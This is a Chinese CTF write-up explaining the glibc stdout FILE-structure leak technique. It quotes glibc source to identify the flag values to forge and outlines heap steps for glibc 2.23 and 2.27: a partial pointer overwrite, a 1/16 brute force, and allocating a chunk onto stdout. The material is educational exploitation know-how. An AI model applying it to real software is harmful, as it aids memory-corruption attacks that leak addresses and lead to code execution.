_IO_MAGIC|_IO_IS_FILEBUF|_IO_CURRENTLY_PUTTING|_IO_LINKED|_IO_NO_READS | _IO_UNBUFFERED |_IO_USER_BUF

输出时初始调用_IO_new_file_xsputn函数,该函数调用_IO_new_file_overflow,在这个函数里

  1. 先检查是否有_IO_NO_WRITE标志位,没有的话直接报错退出,所以该位需要为0

    1
    2
    3
    4
    5
    6
    if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
    f->_flags |= _IO_ERR_SEEN;
    __set_errno (EBADF);
    return EOF;
    }
  2. 在这里又判断了_IO_CURRENTLY_PUTTING标志位,目的是查看是否需要分配缓冲区,因为一般分配过缓冲区的话该位就是1,所以一般设置为1

    1
    2
    3
    4
    5
    6
    7
    8
    if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
    /* Allocate a buffer if needed. */
    if (f->_IO_write_base == NULL)
    {
    _IO_doallocbuf (f);
    _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
    }

然后在即将调用_IO_do_write函数时

  1. 检查了_IO_UNBUFFERED标志位与_IO_LINE_BUF标志位,不过是或,即二者有一个就可
    1
    2
    3
    4
    5
    if ((f->_flags & _IO_UNBUFFERED)
    || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
    f->_IO_write_ptr - f->_IO_write_base) == EOF)
    return EOF;

跟进到new_do_write函数后

  1. 检查了_IO_IS_APPENDING标志位或fp->_IO_read_end != fp->_IO_write_base
    所以令_IO_IS_APPENDING为1或_IO_read_end==_IO_write_base即可,否则的话就没有输出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;

所以稍微总结下要注意的标志位,利用时也是注意这几个即可

_IO_NO_WRITE = 0
_IO_CURRENTLY_PUTTING = 1
_IO_UNBUFFERED = 1 || _IO_LINE_BUF = 1 // 这两个好像不需要构造,没有特别理解,挖坑
_IO_IS_APPENDING = 1 || _IO_read_end==_IO_write_base

利用

2.23 等没有tcache利用unsorted bin在fastbin的chunk的fd指针上覆盖出main_arena附近的地址,然后利用部分地址覆盖对stdout地址进行爆破
(一般是半个字节,1/16的概率),然后尝试将fastbin分配到stdout处即可,因为一般的布局来讲,stdout上面是stderr,其中有0x7f开头的地址,通过偏移进行设计即可

2.27 等有tcache的版本,也是利用unsorted bin在tcache的fd上覆盖出main_arena附近的地址,部分地址覆盖完之后尝试将其分配出去即可,因为低版本的tcache很少检查size,所以可能会更方便点。

题目

https://siriuswhiter.github.io/2019/07/30/ciscn-2019-%E5%86%B3%E8%B5%9Bpwn/#6